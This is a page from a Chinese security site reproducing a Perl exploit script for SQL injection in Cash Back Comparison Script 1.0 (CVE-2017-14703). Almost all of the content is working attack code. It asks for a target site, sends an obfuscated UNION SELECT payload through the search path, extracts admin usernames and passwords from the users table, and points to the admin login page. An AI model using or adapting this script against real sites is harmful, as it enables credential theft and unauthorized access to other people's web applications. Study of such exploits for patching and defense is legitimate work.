首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cash Back Comparison Script 1.0 - SQL Injection
来源:http://ihsan.net 作者:Sencan 发布时间:2017-09-25  

#!/usr/bin/perl -w
# # # # #
# Exploit Title: Cash Back Comparison Script 1.0 - SQL Injection
# Dork: N/A
# Date: 22.09.2017
# Vendor Homepage: http://cashbackcomparisonscript.com/
# Software Link: http://cashbackcomparisonscript.com/demo/features/
# Demo: http://www.cashbackcomparison.info/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-14703
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "
################################################################################
                   #### ##     ##  ######     ###    ##    ##
                    ##  ##     ## ##    ##   ## ##   ###   ##
                    ##  ##     ## ##        ##   ##  ####  ##
                    ##  #########  ######  ##     ## ## ## ##
                    ##  ##     ##       ## ######### ##  ####
                    ##  ##     ## ##    ## ##     ## ##   ###
                   #### ##     ##  ######  ##     ## ##    ##

             ######  ######## ##    ##  ######     ###    ##    ##
            ##    ## ##       ###   ## ##    ##   ## ##   ###   ##
            ##       ##       ####  ## ##        ##   ##  ####  ##
             ######  ######   ## ## ## ##       ##     ## ## ## ##
                  ## ##       ##  #### ##       ######### ##  ####
            ##    ## ##       ##   ### ##    ## ##     ## ##   ###
             ######  ######## ##    ##  ######  ##     ## ##    ##                                                                           
                 Cash Back Comparison Script 1.0 - SQL Injection          
################################################################################
";
use LWP::UserAgent;
print "\nInsert Target:[http://site.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress.....\n";
print "\n";
$cc="/*!01116concat*/(0x3c74657874617265613e,0x557365726e616d653a,username,0x20,0x506173733a,password,0x3c2f74657874617265613e)";
$tt="users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0');
$host = $target . "search/EfE'+/*!01116UNIoN*/+/*!01116SeLecT*/+0x31,0x32,0x33,0x34,0x35,0x36,".$cc.",0x38/*!50000FrOm*/".$tt."--+-.html";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/<textarea>(.*?)<\/textarea>/){
print "[+] Success !!!\n";
print "\n[+] Admin Detail : $1\n";
print "\n[+]$target/admin/login.php\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DenyAll WAF < 6.3.0 - Remote C
·CyberLink LabelPrint < 2.5 - B
·Stock Photo Selling 1.0 - SQL
·Disk Pulse Enterprise 10.0.12
·Microsoft Edge Chakra - 'Javas
·Supervisor 3.0a1 - 3.3.2 - XML
·Microsoft Edge Chakra - 'Parse
·Oracle 9i XDB 9.2.0.1 - HTTP P
·Microsoft Edge Chakra - Deferr
·FLIR Systems FLIR Thermal Came
·Microsoft Edge - Chakra Incorr
·FLIR Systems FLIR Thermal Came
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved